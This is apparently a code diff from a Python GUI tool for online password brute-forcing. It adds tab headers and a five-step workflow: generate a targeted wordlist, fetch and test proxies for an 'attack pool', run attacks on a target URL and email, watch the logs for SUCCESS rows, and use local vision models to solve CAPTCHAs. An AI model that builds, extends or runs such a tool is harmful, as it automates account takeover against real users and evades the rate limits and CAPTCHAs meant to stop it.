"Filter SUCCESS/FAILED rows · REFRESH during attacks · EXPORT full CSV history",
)
subtitle.pack(pady=(0, 15))
# === Controls ===
controls_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER)
@@ -142,7 +137,8 @@ class LogsTab(ctk.CTkFrame):
return text if text.endswith("ms") else f"{text}ms"
def _refresh_logs(self):
"""Refresh the log display from the logger buffer."""
"""Refresh the log display from the logger buffer and disk."""
self.attempt_logger.load_history_from_disk(limit=5000)
# Clear existing rows
for widget in self.log_list_frame.winfo_children():
widget.destroy()
@@ -206,6 +202,9 @@ class LogsTab(ctk.CTkFrame):
try:
entries = self.attempt_logger.get_recent(10000)
if not entries and ATTEMPT_LOG_FILE.exists():
with open(ATTEMPT_LOG_FILE, newline="", encoding="utf-8") as f:
entries = list(csv.DictReader(f))[-10000:]
if not entries:
messagebox.showinfo("Export", "No log entries to export.")
return

View File

@@ -17,31 +17,26 @@ logger = logging.getLogger(__name__)
class PasswordBuilderTab(ctk.CTkFrame):
"""Tab for configuring and generating password candidates."""
def __init__(self, parent, status_callback=None):
def __init__(self, parent, status_callback=None, app=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.generator = PasswordGenerator()
self.generated_count = 0
self.status_callback = status_callback
self.app = app
self._stats_after_id = None
self._estimate_after_id = None
self._build_ui()
def _build_ui(self):
"""Build the complete password builder UI."""
# Title
title = ctk.CTkLabel(
self, text="[ PASSWORD BUILDER ]",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY,
CyberpunkTheme.create_tab_header(
self, "01", "[ PASSWORD BUILDER ]",
"Crush-style generator — fragments, rules, patterns, GPU acceleration",
)
title.pack(pady=(15, 5))
subtitle = ctk.CTkLabel(
self, text="Configure fragments, rules, and patterns to generate targeted password candidates",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY,
CyberpunkTheme.create_hint_bar(
self,
"Enter fragments/words → configure rules → GENERATE → saves to data/passwords.txt",
)
subtitle.pack(pady=(0, 15))
# Main content area (scrollable)
self.content = ctk.CTkScrollableFrame(

View File

@@ -45,12 +45,13 @@ class _ProxyRow:
class ProxyManagerTab(ctk.CTkFrame):
def __init__(self, parent, proxy_pool: ProxyPool, status_callback=None):
def __init__(self, parent, proxy_pool: ProxyPool, status_callback=None, app=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.proxy_pool = proxy_pool
self.fetcher = ProxyFetcher()
self.validator = ProxyValidator()
self.status_callback = status_callback
self.app = app
self._rows: Dict[str, _ProxyRow] = {}
self._seq_testing = False # True while sequential TEST ALL is running
@@ -62,13 +63,14 @@ class ProxyManagerTab(ctk.CTkFrame):
# ── UI ────────────────────────────────────────────────────────────────────
def _build_ui(self):
ctk.CTkLabel(self, text="[ PROXY MANAGER ]",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2))
ctk.CTkLabel(self,
text="Fetch · Test sequentially (red→yellow→green) · Remove dead · Commit to pool",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 12))
CyberpunkTheme.create_tab_header(
self, "02", "[ PROXY MANAGER ]",
"Fetch, test sequentially, and commit healthy proxies to the attack pool",
)
CyberpunkTheme.create_hint_bar(
self,
"FETCH or paste proxies → TEST ALL (one at a time) → remove dead → COMMIT TO POOL",
)
# ── Control bar ───────────────────────────────────────────────────────
ctrl = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,

View File

@@ -157,29 +157,25 @@ class SetupTab(ctk.CTkFrame):
- Browser automation settings
"""
def __init__(self, parent):
def __init__(self, parent, status_callback=None, app=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.ollama = OllamaManager()
self.config = OllamaConfig()
self.status_callback = status_callback
self.app = app
self._build_ui()
self._load_saved_config()
def _build_ui(self):
"""Build the setup tab UI."""
# Title
title = ctk.CTkLabel(
self, text="[ SETUP & CONFIGURATION ]",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY,
CyberpunkTheme.create_tab_header(
self, "05", "[ SETUP & AI ]",
"Ollama vision models for local CAPTCHA OCR — configure before attacks hit CAPTCHAs",
)
title.pack(pady=(15, 5))
subtitle = ctk.CTkLabel(
self, text="Configure Ollama vision models, CAPTCHA solving, and automation settings",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY,
CyberpunkTheme.create_hint_bar(
self,
"Connect Ollama → pick vision model (deepseek-ocr, llava) → TEST CAPTCHA SOLVER → SAVE",
)
subtitle.pack(pady=(0, 15))
# Main content (scrollable)
self.content = ctk.CTkScrollableFrame(

View File

@@ -263,3 +263,59 @@ class CyberpunkTheme:
wrapper.after(900, _blink)
return wrapper, status_label
@staticmethod
def create_tab_header(parent, step_num: str, title: str, subtitle: str):
"""Consistent tab title block with step badge."""
hdr = ctk.CTkFrame(parent, fg_color="transparent")
hdr.pack(fill="x", pady=(12, 6))
badge = ctk.CTkLabel(
hdr,
text=f" STEP {step_num} ",
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.BG_DARK,
fg_color=CyberpunkTheme.TERTIARY,
corner_radius=4,
)
badge.pack(side="left", padx=(0, 10))
text_col = ctk.CTkFrame(hdr, fg_color="transparent")
text_col.pack(side="left", fill="x", expand=True)
ctk.CTkLabel(
text_col,
text=title,
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY,
anchor="w",
).pack(anchor="w")
ctk.CTkLabel(
text_col,
text=subtitle,
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY,
anchor="w",
).pack(anchor="w", pady=(2, 0))
return hdr
@staticmethod
def create_hint_bar(parent, text: str, color=None):
"""Dim one-line action hint under a tab header."""
bar = ctk.CTkFrame(
parent,
fg_color=CyberpunkTheme.BG_DARK,
border_width=1,
border_color=CyberpunkTheme.BORDER,
)
bar.pack(fill="x", padx=15, pady=(0, 10))
ctk.CTkLabel(
bar,
text=f"{text}",
font=("Consolas", 10),
text_color=color or CyberpunkTheme.TEXT_DIM,
anchor="w",
).pack(fill="x", padx=12, pady=8)
return bar

43
src/gui/workflow.py Normal file
View File

@@ -0,0 +1,43 @@
"""
Shared workflow definitions — keeps tab order and user guidance consistent.
"""
WORKFLOW_STEPS = [
{
"num": "01",
"key": "build",
"tab": "Password Builder",
"title": "BUILD WORDLIST",
"hint": "Fragments, rules, patterns → GENERATE → saves to passwords.txt",
},
{
"num": "02",
"key": "proxies",
"tab": "Proxy Manager",
"title": "LOAD PROXIES",
"hint": "FETCH or paste → TEST ALL → COMMIT TO POOL",
},
{
"num": "03",
"key": "attack",
"tab": "Attack",
"title": "RUN ATTACK",
"hint": "Target URL + email → START (uses wordlist + proxy pool)",
},
{
"num": "04",
"key": "logs",
"tab": "Logs",
"title": "REVIEW LOGS",
"hint": "Filter attempts, export CSV, watch for SUCCESS rows",
},
{
"num": "05",
"key": "setup",
"tab": "Setup",
"title": "AI / CAPTCHA",
"hint": "Ollama host + vision model for local CAPTCHA OCR testing",
},
]
TAB_TO_STEP = {step["tab"]: step for step in WORKFLOW_STEPS}

View File

@@ -16,9 +16,23 @@ class AttemptLogger:
def __init__(self, log_path: Optional[Path] = None):
self.log_path = log_path or ATTEMPT_LOG_FILE
self.buffer = [] # In-memory list of log entries for GUI display
self.buffer = []
self._lock = threading.Lock()
self._init_csv()
self.load_history_from_disk(limit=5000)
def load_history_from_disk(self, limit: int = 5000):
"""Load persisted CSV rows into the in-memory buffer for the GUI."""
if not self.log_path.exists():
return
try:
with open(self.log_path, newline="", encoding="utf-8") as f:
rows = list(csv.DictReader(f))
with self._lock:
self.buffer = rows[-limit:]
except Exception as exc:
logger = logging.getLogger(__name__)
logger.warning(f"Could not load attempt log history: {exc}")
def _init_csv(self):
"""Create CSV with headers if it doesn't exist."""
@@ -76,8 +90,8 @@ class AttemptLogger:
"""Get aggregate statistics from the log."""
with self._lock:
total = len(self.buffer)
successes = sum(1 for e in self.buffer if e["result"] == "SUCCESS")
failures = total - successes
successes = sum(1 for e in self.buffer if e.get("result") == "SUCCESS")
failures = total - successes
return {
"total": total,
"successes": successes,